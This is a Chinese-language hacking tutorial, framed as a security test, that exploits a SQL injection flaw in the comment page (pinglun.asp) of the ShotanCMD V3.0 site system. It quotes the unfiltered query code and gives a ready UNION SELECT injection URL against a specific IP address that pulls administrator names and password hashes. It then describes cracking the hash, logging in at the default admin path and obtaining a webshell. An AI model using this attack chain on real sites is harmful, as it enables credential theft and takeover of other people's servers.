今天我们要进行检测的是笑天网站管理系统(ShotanCMD V3.0)官方网站地址:http://www.shotan.com 我们在本地服务器上架设起来,看一下还是比较美观的,如下图所示:
接下来,我们就对这个网站系统的安全性进行一次检测。
我们打开网站管理系统的评论页面代码。存在漏洞的文件是 pinglun.asp。查看它的源文件,我们发现有以下几行代码:
set rs=server.CreateObject("adodb.recordset")
sql1="select * from St_pl where pltype='"&request("pltab")&"' and plid="&request("id")&" order by time desc"
rs.open sql1,conn,1,1
在上面的第二行代码中,我们看到“pltype=’”$request(“pltab”)&”’ and plid=”&request(“id”)”代码,程序利用Request方法获得从客户端浏览器提交过来的参数pltab和id的值,并存储在pltype和plid这两个字段中。我们可以看到,整个提交过程并未做任何过滤,这样注入漏洞就产生了。
原理讲完了。下面我们就来看看如何进行操作演练了。我们首先要找到一个具有评论的文章(如果没有评论就申请一个帐号发表评论)然后点击右侧的“查看全部评论”按钮如图所示:
St_pl表中,一共有12个字段。下面我们就可以构造自己的注入语句了。
把这两次的返回页面做一下比较就可以一目了然了。再到数据库里我们看一下,5的地方代表的是st_news表的title字段,6是content字段,7是date字段。
http://221.195.40.85/pinglun.asp?id=1%20and%201=2%20union%20select%201,2,3,4,admin_name,admin_pass,id,8,9,10,11,12%20from%20st_admin&pltab=news继续进入注入(也就是分别把上一句话的5更换为了admin_name,6更换为了admin_pass,7更换为了id。再换句话说,就是st_admin表中的管理员ID,用户名,和密码了)。返回结果如下图所示:
http://www.cmd5.com进行尝试搜索,或者本地进行暴力破解跑出对方的密码来。接下来要做的就是登陆对方的后台管理系统了。这套系统的默认后台地址是 /admin/admin_login.asp 。把我们刚才得到的管理员帐号和密码输入,就可以登陆到后台了。如下图所示:
至此,我们的Webshell就算到手了。至于后面如何拿到系统权限等问题,就看大家如何来进行利用了。